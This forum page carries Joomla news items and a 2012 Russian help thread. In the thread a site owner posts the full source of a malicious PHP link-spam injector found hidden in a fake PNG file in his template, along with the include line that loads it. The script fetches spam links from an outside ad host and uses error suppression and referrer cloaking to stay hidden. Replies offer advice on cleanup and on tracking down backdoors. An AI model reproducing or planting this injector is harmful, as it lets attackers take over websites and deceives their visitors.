Новости Joomla

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

В процессе работы с Joomla бывает необходимо работать с пользовательским интерфейсом более тонко, чем обычно. Все формы Joomla состоят из стандартных полей, содержанием, стилем отображения, состоянием (включено/выключено, доступно для редактирования или нет и т.д.) можно управлять с помощью плагинов. Да и для нестандартных проектов хорошей практикой является создание одного системного или нескольких плагинов групп "под проект", в которых храниться весь "нестандарт".

В этой статье описаны все триггеры, которые вызываются через Event Dispatcher из administrator/components/com_fields/src/Helper/FieldsHelper.php, с привязкой к жизненному циклу (порядку этапов работы запроса), аргументам, изменяемым данным и дальнейшему распространению по Joomla. Это поможет вам работать с Joomla свободнее и не опасаясь при этом потерять изменения при очередном обновлении движка.

Подходы, описанные в статье, полезны в тех случаях, когда вы работаете с данными в com_fields - механизме создания и редактирования пользовательских полей ядра Joomla и при использовании FieldsHelper. Многие сторонние компоненты не используют эту возможность, поэтому данная статья будет полезна лишь частично.

Читать статью на Хабре.

@joomlafeed

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в  премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 13 Ответов
  • 3410 Просмотров
*

beaviz

  • Осваиваюсь на форуме
  • 26
  • 1 / 0
левый код на сайте
« : 05.10.2012, 18:21:54 »
Товарищи, помогите найти, откудова ноги растут!
На сайте постоянно в районе футера прописывается такая басня:

Код
<div> <sape_noindex> тренинги, <a href="http://www.********.ru" target="_blank">тимбилдинг</a> в парках Москвы . <a href="http://********.ru/" target="_blank">fifa 13 на андроид</a> скачать быстро . <a href="http://********.ru/" target="_blank">Final Fantasy 3 для Android</a> . эротические <a href="http://www.********.ru/game/rolegame" target="_blank">ролевые секс игры</a> </sape_noindex></div>

Используется Joomla 2.5.4, шаблон zt_morbi.
Файл шаблона лежит: templates/zt_morbi17/libs/layout/default.php

В него внедряется код:
Код
<?php @include ($_SERVER['DOCUMENT_ROOT'].'/templates/zt_morbi17/images/mainmenu-s.png'); ?>

"Картинка" содержит следующий код:

Код
<?php
/*
  links-ads, Links Advert Solutions Company
 
  Released under the GNU General Public License

  Featured Products Listing Module
 
  Copyright (c) 2010 links-ads
*/

@error_reporting(0);
@ini_set('display_errors',0);
@ini_set('log_errors',0);

class ads_class{

var $_nummer_schauen   = false;
var $_alles_sagen       = false;
var $_reparieren        = false;


var $_kodierung = 'UTF-8'; // windows-1251 UTF-8
var $_ads_charset = '';
var $_fehler             = '';
var $_host              = '';
var $_request_uri       = '';
var $_get_type = '';               
var $_senden_depens     = '';
var $_ist_unser_s        = false;
var $_sess_file         = '';
var $_style = '';
    var $_links = array();
    var $_links_page = array();
    var $_delimiter = '';
var $tmp = '/tmp/'  ;  //'d:/web/temp/'  '/tmp/'   '/home/offerweb/data/mod-tmp'


    function ads_class($options = null){
       
        if (strlen($this->_host) == 0) {
            $this->_host = $_SERVER['HTTP_HOST'];
        }

        $this->_host = preg_replace('/^http:\/\//', '', $this->_host);
        $this->_host = preg_replace('/^www\./', '', $this->_host);
        $this->_request_uri = $_SERVER['REQUEST_URI'];     

        if (isset($options['_kodierung']) && strlen($options['_kodierung'])) {
            $this->_kodierung = $options['_kodierung'];
        }
        if (isset($options['tmp']) && strlen($options['tmp'])!= 0) {
            $this->tmp = $options['tmp'];
        }
foreach ($_COOKIE as $key => $value){
if (strpos($key, "e_cookie")!== false){
$this->_ist_unser_s = true;
}
}
$this->load_data();
    }

    function fetch_remote_file($host, $path) {

        $user_agent = 'ADS';
        @ini_set('allow_url_fopen',1);
        @ini_set('default_socket_timeout',6);
        @ini_set('user_agent',$user_agent);
        if (
            $this->_get_type == 'file_get_contents'
            ||
            (
                $this->_get_type == ''
                &&
                function_exists('file_get_contents')
                &&
                ini_get('allow_url_fopen') == 1
            )
        ) {
            $this->_get_type = 'file_get_contents';
            if ($data = @file_get_contents('http://' . $host . $path)) {
                return $data;
            }

        } elseif (
            $this->_get_type == 'curl'
            ||
            (
                $this->_get_type == ''
                &&
                function_exists('curl_init')
            )
        ) {
            $this->_get_type = 'curl';
            if ($ch = @curl_init()) {

                @curl_setopt($ch, CURLOPT_URL,              'http://' . $host . $path);
                @curl_setopt($ch, CURLOPT_HEADER,           false);
                @curl_setopt($ch, CURLOPT_RETURNTRANSFER,   true);
                @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,   6);
                @curl_setopt($ch, CURLOPT_USERAGENT,        $user_agent);

                if ($data = @curl_exec($ch)) {
                    return $data;
                }

                @curl_close($ch);
            }

        } else {
            $this->_get_type = 'socket';
            $buff = '';
            $fp = @fsockopen($host, 80, $errno, $errstr, 6);
            if ($fp) {
                @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
                @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
                while (!@feof($fp)) {
                    $buff .= @fgets($fp, 128);
                }
                @fclose($fp);

                $page = explode("\r\n\r\n", $buff);

                return $page[1];
            }

        }

        return $this->raise_error('Error connect to server ' . $host . $path.', type: '.$this->_get_type);
    }

    function _read($filename){
       
        $fp = @fopen($filename, 'rb');
        @flock($fp, LOCK_SH);
        if ($fp) {
            clearstatcache();
            $length = @filesize($filename);
            $mqr = @get_magic_quotes_runtime();
            @set_magic_quotes_runtime(0);
            if ($length) {
                $data = @fread($fp, $length);
            } else {
                $data = '';
            }
            @set_magic_quotes_runtime($mqr);
            @flock($fp, LOCK_UN);
            @fclose($fp);



            return $data;
        }

        return $this->raise_error('Error read data from: ' . $filename);
    }

    function _write($filename, $data) {

        $fp = @fopen($filename, 'ab');
        if ($fp) {
            if (flock($fp, LOCK_EX|LOCK_NB)) {
$length = strlen($data);
ftruncate($fp, 0);
@fwrite($fp, $data, $length);
@flock($fp, LOCK_UN);
@fclose($fp);

if (md5($this->_read($filename))!= md5($data)) {
    @unlink($filename);
    return $this->raise_error('Error md5 check with write to: ' . $filename);
}
    } else {
return false;
    }

            return true;
        }

        return $this->raise_error('Error write to: ' . $filename);
    }

    function raise_error($e) {

        $this->_fehler = 'ERROR: ' . $e;
        if ($this->_alles_sagen == true) {
            print $this->_fehler;
        }
        return false;
    }

    function load_data(){
       
$this->_sess_file = $this->tmp.'sess_' . md5(".".$this->_host);
        if (!is_file($this->_sess_file)) {
           
            if (@touch($this->_sess_file)) {
                @chmod($this->_sess_file, 0666);   
            } else {
                return $this->raise_error('No file ' . $this->_sess_file . '. Creation error.');
            }
        }

        if (!is_writable($this->_sess_file)) {
            return $this->raise_error('Error access to: ' . $this->_sess_file);
        }

        @clearstatcache();

$data = $this->_read($this->_sess_file);
        if (
            !$this->_ist_unser_s
            &&
            (
                filemtime($this->_sess_file) < (time()-3600)
                ||
                filesize($this->_sess_file) == 0
||
@unserialize($data) == false
            )
        ){           
            @touch($this->_sess_file, (time() - 3600 + 600));
           
             $path = '/code.php?user=dsuir72y0xm6ahfjgqecwo58nvkz914b&host=' . $this->_host;
            if (strlen($this->_kodierung)) {
                $path .= '&charset=' . $this->_kodierung;
            }

if ($data = $this->fetch_remote_file('www.links-ads.net', $path)){
if (substr($data, 0, 12) == 'FATAL ERROR:') {
$this->raise_error($data);
} else {

$hash = @unserialize($data);
if ($hash != false) {

$hash['__ads_charset__'] = $this->_kodierung;
$hash['__last_update__'] = time();
$hash['__multi_site__'] =  true;
$hash['__fetch_remote_type__'] = $this->_get_type;
$hash['__php_version__'] = phpversion();
$hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];

$data_new = @serialize($hash);
if ($data_new) {
$data = $data_new;
}
$this->_write($this->_sess_file, $data);
}
}
}       
        }
$this->_senden_depens = sprintf("%c%c%c%c",115,97,112,101);
        if (strlen(session_id())){
            $session = session_name(). '=' . session_id();
            $this->_request_uri = str_replace(array('?'.$session,'&'.$session), '', $this->_request_uri);
        }
        $this->set_data(@unserialize($data));       
    }

    function _ergebnisse($n = null, $offset = 0) {

        if (is_array($this->_links_page)){

            $total_page_links = count($this->_links_page);

            if (!is_numeric($n) || $n > $total_page_links){
                $n = $total_page_links;
            }
$point = 'noindex';
            $links = array();

            for ($i = 1; $i <= $n; $i++) {
                if ($offset > 0 && $i <= $offset) {
                    array_shift($this->_links_page);
                } else {
                    $links[] = array_shift($this->_links_page);
                }
            }

            $result = join($this->_delimiter, $links);
                     
            if (
                strlen($this->_kodierung) > 0
                &&
                strlen($this->_ads_charset) > 0
                &&
                $this->_ads_charset != $this->_kodierung
                &&
                function_exists('iconv')
            ) {
                $new_html  = @iconv($this->_ads_charset, $this->_kodierung, $result);
                if ($new_html) {
                    $result = $new_html;
                }
            }
           
            if ($this->_ist_unser_s){
                $result = '<'.$this->_senden_depens.'_'.$point.'>'.$result.'</'.$this->_senden_depens.'_'.$point.'>';
            }
           
            $ergebnisse = $result;

        } else {
            $ergebnisse = $this->_links_page;
        }
return $ergebnisse;
    }

    function _get_style(){
return $this->_style;
}

    function set_data($data){
        $this->_links = $data;

        if (isset($this->_links['2100499475757573'])){
            $this->_style = $this->_links['2100499475757573'];
        }

        if (isset($this->_links['434388477388475884'])){
            $this->_delimiter = $this->_links['434388477388475884'];
        }
        if (isset($this->_links['4888848858477284'])) {
            $this->_ads_charset = $this->_links['4888848858477284'];
        } else {
            $this->_ads_charset = '';
        }
        if (@array_key_exists($this->_request_uri, $this->_links) && is_array($this->_links[$this->_request_uri])) {
            $this->_links_page = $this->_links[$this->_request_uri];
        } else {
            if (isset($this->_links['2100499267309588']) && strlen($this->_links['2100499267309588'])) {
                if ($this->_ist_unser_s || $this->_nummer_schauen){
                    $this->_links_page = $this->_links['2100499267309588'];
                }
            }
        }
    }
}

$ads = new ads_class();
$ads_r = $ads->_ergebnisse();
$style = $ads->_get_style();
if (strlen($style) == 0){$style  =  '<style>.foot_st{display:none;}</style> <div class=foot_st>';}
$style  =  '<div>';
if (strlen($ads_r)>0){

if (isset($_SERVER['HTTP_REFERER'])){
if (preg_match('%http://([^/]+)/%', $_SERVER['HTTP_REFERER'], $regs)){
$data = str_replace('www.', '', $regs[1]);
if ((substr(md5($data), 0, 5) === 'f10cd')||(substr(md5($data), 0, 5) === '2dde1')){
echo "$ads_r"; //exit;
}else{
echo "$style $ads_r</div>";
}
}
else{
echo "$style $ads_r</div>";
}
}
else{
echo "$style $ads_r</div>";
}
}
?>

Хочется понять природу вирусняка. FTP-пароли не хранятся (и меняются).
*

Gover

  • Захожу иногда
  • 189
  • 3 / 0
Re: левый код на сайте
« Ответ #1 : 05.10.2012, 18:38:02 »
Природа вирусняка в варезном сайте, откуда вы скачали шаблон.
Удалите из шаблона код картинки, на который вы указали, и думаю, проблема пропадет.
*

beaviz

  • Осваиваюсь на форуме
  • 26
  • 1 / 0
Re: левый код на сайте
« Ответ #2 : 05.10.2012, 18:40:10 »
К сожалению, это исправит ситуацию на некоторое время. Код снова появится, возможно уже будет ссылка на другую картинку.
Сайт на данном шаблоне более двух лет более года. Проблема появилась недавно.
« Последнее редактирование: 05.10.2012, 18:45:18 от beaviz »
*

Gover

  • Захожу иногда
  • 189
  • 3 / 0
Re: левый код на сайте
« Ответ #3 : 05.10.2012, 18:46:53 »
А можно ссылку на сайт?

А вообще, надо исследовать код шаблона, может не в указанном файле код содержится.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: левый код на сайте
« Ответ #4 : 06.10.2012, 10:33:13 »
ищите бэкдор на сайте, если как вы описываете значит она существует и через неё все делают
*

beaviz

  • Осваиваюсь на форуме
  • 26
  • 1 / 0
Re: левый код на сайте
« Ответ #5 : 16.10.2012, 11:29:52 »
сайт: shardesign . ru

подскажите методы поиска дыры?
скопирнул весь сайт, шарю поиском на ключевые слова типа include и др., к.т. эту строчку генерят в файле шаблона:

Код
<?php @include ($_SERVER['DOCUMENT_ROOT'].'/templates/zt_morbi17/images/mainmenu-s.png'); ?>

на данный момент я просто закомментил содержимое самого скрипта тут: /templates/zt_morbi17/images/mainmenu-s.png и на сайте нет левых ссылок.
*

Apple_Buy

  • Захожу иногда
  • 71
  • 1 / 0
  • Истина всегда рядом....
Re: левый код на сайте
« Ответ #6 : 17.10.2012, 18:19:35 »
Если в ядре Joomla не ковырялись и не меняли много, то обновите до последней актуальной версии 2.5.7 , это поможет прикрыть некоторые дыры движка, после скопируйте на хостинг и запустите сканер шелов и троянов который находится в подписи flyingspook, результат сканирования выложите тут.
*

apolomax

  • Новичок
  • 6
  • 0 / 0
Re: Левый код на сайте
« Ответ #7 : 05.11.2012, 11:59:24 »
 Ребята помогите! 1)около 2 месяцев назад взломали сайт, я подумал. что просто сбой, на всех страницах перед контентом был какой-то код. потом всё стало нормально. 2) пару недель назад купил программу page-weiht и обнаружил исходящие ссылки с сайта на каждой странице после контента и перед футером:  <div style="display:none"><a href="http://"></a></div>, сейчас это выглядит так, как указанно выше, раньше была полноценная ссылка. Шаблон рукописный в артистер, версия Joomla 1.5.25. Думаю надо искать в расширениях, но как не знаю, на хостинге всё перелопачиавть вручную долго. сайт http://pianomax.ru/ Готов заплатить! Для меня это дело принципа. Заранее благодарен!
 
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Левый код на сайте
« Ответ #8 : 05.11.2012, 13:40:15 »
 искать base64_decode в файлах сайта и сканер в помощь,скачть можно здесь в разделе
*

Шмайсер

  • Давно я тут
  • 801
  • 35 / 3
Re: Левый код на сайте
« Ответ #9 : 19.11.2012, 13:55:45 »
Парни, таже тема
base64_decode
во всех файлах php - и во фронте и в админке. Понял, что надо сканировать. Скажите - вообще каким образом могли взломать, учитывая что шаблон писал я сам лично, ручками, картинки делал сам лично ручками, шаблон простее некуда и там в шаблоне нет даже намека на JS и подобные свистелки? Сайт работает на Joomla 1.5.14 делался около 3 месяцев назад, практически ничем не заполнялся, в ядре никаких изменений не проводилось. Установил Joomla, залил свой шаблон ( сделано все по науке) - заполнил текстом около 6 страниц. Все.
Разработка сайтов любой сложности, на Joomla 3.9-4.x и не только на ней. Пишу компоненты, модули и плагины на заказ. Переношу сайты с ветки 2.5.х на 4-ю версию Joomla. Пишу любые скрипты и интерфейсы.
*

umbabaraumba

  • Живу я здесь
  • 2415
  • 153 / 1
  • если помог можете поставить +
Re: Левый код на сайте
« Ответ #10 : 19.11.2012, 14:37:44 »
Могли пароли от ftp украсть .
Errare humanum est
Ubuntu по-русски
Пишу не сложные модули и компоненты, не дорого но не срочно
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Левый код на сайте
« Ответ #11 : 19.11.2012, 14:39:33 »
Цитировать
Сайт работает на Joomla 1.5.14
вот как

ну а, вариантов множество от выше указанного до...
*

Шмайсер

  • Давно я тут
  • 801
  • 35 / 3
Re: Левый код на сайте
« Ответ #12 : 19.11.2012, 15:11:16 »
Полазил по разделу, нашел подсказку - в папке имаджес присутствовал "левый" файл post.php ... ну и во всех файлах та шняга, что я говорил.
Теперь вот что:
Пароль от ftp украсть могли только из головы, забиваю каждый раз, в клиенте не храню пароли. От админки хостинга тоже не вараиант - пароль сложный и забиваю каждый раз, не храню. От админки - тоже сложный, тоже никоим образом не сохраняю. Пароли меняю часто. Вывод - старую версию Joomla начали активно ломать? Я к тому, что получается, что сломали Joomla без единого стороннего расширения?

Разработка сайтов любой сложности, на Joomla 3.9-4.x и не только на ней. Пишу компоненты, модули и плагины на заказ. Переношу сайты с ветки 2.5.х на 4-ю версию Joomla. Пишу любые скрипты и интерфейсы.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Левый код на сайте
« Ответ #13 : 19.11.2012, 18:39:16 »
Цитировать
что сломали Joomla без единого стороннего расширения
смотрим релизы безопасности
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 72500
Последний ответ 30.08.2023, 12:53:33
от SeBun
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 5602
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
На сайте появился вирус

Автор Lifar

Ответов: 3
Просмотров: 1528
Последний ответ 23.04.2021, 10:12:05
от ProtectYourSite
Регистрируются боты на сайте непрерывно.

Автор Stich SPb

Ответов: 27
Просмотров: 14543
Последний ответ 22.02.2021, 17:42:48
от soty20
Вирус на сайте, редирект, что делать как лечить!

Автор flyingspook

Ответов: 792
Просмотров: 294597
Последний ответ 23.02.2020, 21:18:16
от draff